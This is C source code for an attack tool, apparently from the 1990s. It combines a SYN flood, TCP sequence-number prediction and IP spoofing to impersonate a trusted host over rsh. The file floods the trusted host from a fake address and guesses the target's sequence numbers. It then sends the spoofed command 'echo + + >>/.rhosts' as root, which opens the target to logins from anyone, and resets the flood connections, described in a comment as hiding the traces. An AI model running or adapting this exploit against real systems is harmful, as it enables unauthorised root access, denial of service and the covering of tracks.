/* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
 * for any non-commercial purpose, and this message and the contact 
 * information must remain intact. For commercial purposes, you MUST contact
 * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
 * available from: ftp://aeneas.mit.edu/pub/gnu/
 *
 *     This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 * Mike Neuman
 * En Garde Systems 
 * 525 Clara Avenue, Suite 202
 * St. Louis, MO  63112
 * mcn@EnGarde.com
 */

#include <stdio.h>
#include <setjmp.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <netdb.h>

#include "ipbpf.h" /* Include ipbpf header */

#define BADHOST "16.17.18.19"	
  /* The host to spoof flooding the trusted
   * host's destination port from. This host shouldn't exist, but should have
   * correct routing entries. The important part is so that returned packets
   * go to nowhere.
   */

#define NUMSEQUENCE 80 
  /* The number of connections to spoof from BADHOST. I made this big. 
  * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  * mileage may vary
  */

#define NUMTESTS 10
  /* How many samples of the sequence numbers do you want to take?
   * I randomly picked 10 and only take the last result. If I wanted to be
   * elegant, I'd do some sort of statistical average. Sequence numbers
   * are generally updated by a fixed number, this attempts to compute
   * this number taking into account average network lag. Fixed sequence
   * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
   * probably others, although I haven't tested them.
   */

#define ROUTER "router.EnGarde.com"
  /* The name of your router to the outside world. Spoofed packets need to
   * be sent to it's ether/fddi address in order to get to the outside world.
   */

main(argc, argv)
int argc;
char *argv[];

{
struct hostent *he;
u_long trust_addr, targ_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
u_long next_seq, offset;

	if (argc!=3) {
		fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
		exit(1);
	}
	if ((he=gethostbyname(argv[1]))==NULL) {
		trust_addr=inet_addr(argv[1]);
		if (trust_addr==(u_long)-1) {
			fprintf(stderr, "Unknown host %s\n", argv[1]);
			exit(1);
		}
	} else
		bcopy(he->h_addr, &trust_addr, 4);

	if ((he=gethostbyname(argv[2]))==NULL) {
		targ_addr=inet_addr(argv[2]);
		if (targ_addr==(u_long)-1) {
			fprintf(stderr, "Unknown host %s\n", argv[2]);
			exit(1);
		}
	} else
		bcopy(he->h_addr, &targ_addr, 4);

	printf("Initializing Packet Filter\n");
	use_best(); /* Use the best packet filter available on this system */
	if (init_filter("tcp", NULL)) { 
		/* Initialize the packet filter and read only TCP packets */
		fprintf(stderr, "Can't init Packet Filter\n");
		exit(1);
	}

	/* First, send NUMSEQUENCE connection requests from BADHOST to the 
	 * trusted host on a trusted port (currently 513). Trusted host will 
	 * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
	 * be a response ACK. Consequently, trusted host's connection queue will
	 * fill and it will no longer respond to any packets to port 513.
	 */

	printf("[Hosing Trusted Host...]\n");
	if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
		fprintf(stderr, "Couldn't hose %s\n", argv[1]);
		exit(1);
	}
	
	/* Next, do a sampling of the difference in sequence numbers. These packets
	 * are NOT spoofed as receiving the reply is required. Consequently, this
	 * host can appear in any packet traces.
	 */
	printf("[Determining sequence numbers...]\n");
	if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
		fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
		exit(1);
	}

	printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);

	/* Next, do the actual spoofed connection, now that we know what the next
	 * sequence number will be.
	 */
	printf("[Spoofing Connection...]\n");
	if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
		fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
		exit(1);
	}

	/* Finally, reset all of the half started connections on trusted-host.
	 * This will put trusted-host back into it's normal state (and hide
	 * the traces that it was used for evil.
	 */
	printf("[Cleaning Up Trusted Mess...]\n");
	if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
		fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
		exit(1);
	}

	/* fin */
	exit(0);
}

hose_trusted(trust_host, trust_addr, seq_num, port_num)
char *trust_host;
u_long trust_addr;
u_long seq_num[NUMSEQUENCE];
u_short port_num[NUMSEQUENCE];
{
	int i;
	u_long start_seq=49358353+getpid(); /* Make this anything you want */
	u_long start_port=600; /* Make this anything you want */
	struct ether_header eh;
	u_long bad_addr;

	/* First attempt to find the hardware address of the trusted host */
	if (ether_hostton(trust_host, &eh.ether_dhost)) {
		/* If that fails, find the hardware address of the router */
		if (ether_hostton(ROUTER, &eh.ether_dhost)) {
			fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
			return(1);
		}
	}
	eh.ether_type=ETHERTYPE_IP;

	if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
		fprintf(stderr, "Can't convert BADHOST address.\n");
		return(1);
	}

	/* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
	 * are:
	 * sendtcppacket_simple(
	 *     struct ether_addr source_hardware_address,
	 *     struct ether_addr destination_hardware_address,
	 *     u_long            source_ip_address,
	 *     u_long            destination_ip_address,
	 *     u_short           source_port,
	 *     u_short           destination_port,
	 *     u_long            sequence_number,
	 *     u_long            acknowldegement_number,
	 *     int               TCP flags (SYN, RST, ACK, PUSH, FIN),
	 *     char *            data,
	 *     int               datalen)
	 */
	for (i=0;i<NUMSEQUENCE;i++) {
		port_num[i]=start_port++; /* record the ports and sequence numbers */
		seq_num[i]=start_seq++;   /* for later reseting */

		sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
			bad_addr, trust_addr,
			port_num[i], 513, /* 513 is rlogin/rsh port */
			seq_num, 0,
			TH_SYN, NULL, 0);
	}
	return(0);
}

jmp_buf env;

void timedout()
{
	longjmp(env, 1);
}

determine_sequence(targ_host, targ_addr, next_seq, offset)
char *targ_host;
u_long targ_addr, *next_seq, *offset;
{
	struct hostent *he;
	struct ether_header eh, eh2;
	struct ip iph;
	struct tcphdr tcph;
	int i;
	u_long start_seq=4138353+getpid(); /* Make this anything you want */
	u_long start_port=600;		 /* Make this anything you want */
	u_long my_addr;
	char buf[80];
	u_long prev_seq=0, diff=0;

	*offset=0;
	/* first attempt to get the destination's hardware address */
	if (ether_hostton(targ_host, &eh.ether_dhost)) {
		/* If that fails, get the router's hardware address */
		if (ether_hostton(ROUTER, &eh.ether_dhost)) {
			fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
			return(1);
		}
	}
	eh.ether_type=ETHERTYPE_IP;

	gethostname(buf, 79);
	if ((he=gethostbyname(buf))==NULL) {
		fprintf(stderr, "Can't get my hostname!?\n");
		return(1);
	}
	bcopy(he->h_addr, &my_addr, 4);
	for (i=0;i<NUMTESTS;i++) {
		/* Do a setjmp here for timeouts */
		if (setjmp(env)) 
			fprintf(stderr, "Response Timed out... Resending...\n");
		signal(SIGALRM, timedout);
		alarm(0);
		alarm(10); /* Wait 10 seconds for reply */
		sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
			my_addr, targ_addr,
			start_port, 514, /* 514 is rsh port */
			start_seq, 0,
			TH_SYN, NULL, 0);
		/* Send connection request packet */

		for (;;) {
			/* Wait until the reply is received. Arguments for readpacket
			 * are:
			 * readpacket(
			 *  struct fddi_header  fddi_header,
			 *  struct ether_header ether_header,
			 *  struct ip           ip_header,
			 *  struct udphdr       udp_header,
			 *  struct tcphdr       tcp_header,
			 *  char *              data,
			 *  int                 datalen)
			 *
			 * return type is the type of packet read
			 */

			while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
				PTYPE_IP_TCP) ;
			if (ntohs(tcph.th_dport)==start_port &&
				ntohs(tcph.th_sport)==514) {
				/* If the ports match, it's probably a reply--this isn't
				 * definite, but it's a pretty good guess .
				 * The following attempts to generate a reliable sequence.
				 * Actually, it's pretty dumb. It tries 10 times, then takes
				 * the last result. Generally, I've found this to work well
				 * enough to warrant not writing anything smarter.
				 */
					if (prev_seq) {
						diff=tcph.th_seq-prev_seq;
						printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
							tcph.th_seq, diff);
					} else
						diff=0;
					if (*offset==0) 
						*offset=diff;
					else {
						if (*offset!=diff)
							printf("Difference in Offset: old=%u, new=%u\n",
								*offset, diff);
						*offset=diff;
					}
					prev_seq=tcph.th_seq;
					sendtcppacket_simple(
							&(eh.ether_shost), &(eh.ether_dhost),
							my_addr, targ_addr,
							start_port++, 514, 
							start_seq++, 0,
							TH_RST, NULL, 0);
					/* Send a reset to close the connection. Note, this
					 * automatically will be sent by localhost unless
					 * a service is listening on whatever port you've
					 * chosen to start with at the top of this routine.
					 * so I reset it anyway
					 */
					break; /* out of infinite for */
				}
		} /* of infinite for */
		alarm(0);
	} /* for i=0 i<numtests... */
	*next_seq=prev_seq+*offset;
	return(0);
}

spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
u_long trust_addr, targ_addr, next_seq;
{
	struct ether_header eh;
	char buf[80];
	struct hostent *he;
	u_long my_addr;
	u_short port=513;
	char *string="0\0root\0root\0echo + + >>/.rhosts\0"; 
	int stringlen=32; 
	u_long seq=385773357;
	int i;

	/* As before, get the target's hardware address */
	if (ether_hostton(targ_host, &eh.ether_dhost)) {
		/* If that fails, get the router's hardware address */
		if (ether_hostton(ROUTER, &eh.ether_dhost)) {
			fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
			return(1);
		}
	}
	eh.ether_type=ETHERTYPE_IP;

	/* Send a syn with our own sequence number */
	sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
		trust_addr, targ_addr,
		port, 514,
		seq++, 0,
		TH_SYN, NULL, 0);
	usleep(5000); /* wait for the other side to SYN,ACK */

	/* Send the ACK for the sequence number we guessed. I've found we guess
	 * right about 90% of the time
	 */
	sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
		trust_addr, targ_addr,
		port, 514,
		seq, ++next_seq,
		TH_ACK, NULL, 0);

	/* Now, send our rsh request with the proper sequence and ACK nubmers */
	sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
		trust_addr, targ_addr,
		port, 514,
		seq, next_seq,
		TH_ACK, string, stringlen);
	seq+=stringlen;

	sleep(1); /* Wait for it to be received, ACKd, and processed */
	/* Send a fin with the our new sequence number and their sequence number */
	sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
		trust_addr, targ_addr,
		port, 514,
		seq, next_seq,
		TH_FIN, NULL, 0);

	for (i=1;i<4;i++) { /* Send a bunch of ACKs */
		/* If we screwed up the guessing the correct sequence number the remote
		 * host is using, guess a whole bunch more just to be sure. We could
		 * probably reset the connection, but it's better to have the
		 * net software hang waiting for a proper FIN/ACK than have the
		 * application that we've spoofed into running exit because we
		 * reset the connection.
		 */
		sleep(2);
		sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
			trust_addr, targ_addr,
			port, 514,
			seq+1, next_seq+i,
			TH_ACK, NULL, 0);
	}
	usleep(50000); /* Finally, send a RST */
	/* Now, if we're really screwed, and ~8 seconds later  we haven't guessed
	 * the right sequence number, just reset the connection. Hopefully by now
	 * the application has done it's job, so resetting shouldn't cause any
	 * problems.
	 */
	sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
		trust_addr, targ_addr,
		port, 514,
		seq+1, next_seq+4,
		TH_RST, NULL, 0);

	return(0);
}

reset_trusted(trust_host, trust_addr, seq_num, port_num)
u_long trust_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
{
	struct ether_header eh;
	u_long bad_addr;
	int i;

	if (ether_hostton(trust_host, &eh.ether_dhost)) {
		if (ether_hostton(ROUTER, &eh.ether_dhost)) {
			fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
			return(1);
		}
	}
	eh.ether_type=ETHERTYPE_IP;

	if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
		fprintf(stderr, "Can't convert BADHOST address.\n");
		return(1);
	}

	/* Reset all of the connections we started before */
	for (i=0;i<NUMSEQUENCE;i++) {
		sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
			bad_addr, trust_addr,
			port_num[i], 513,
			seq_num[i], 0,
			TH_RST, NULL, 0);
	}
	return(0);
}
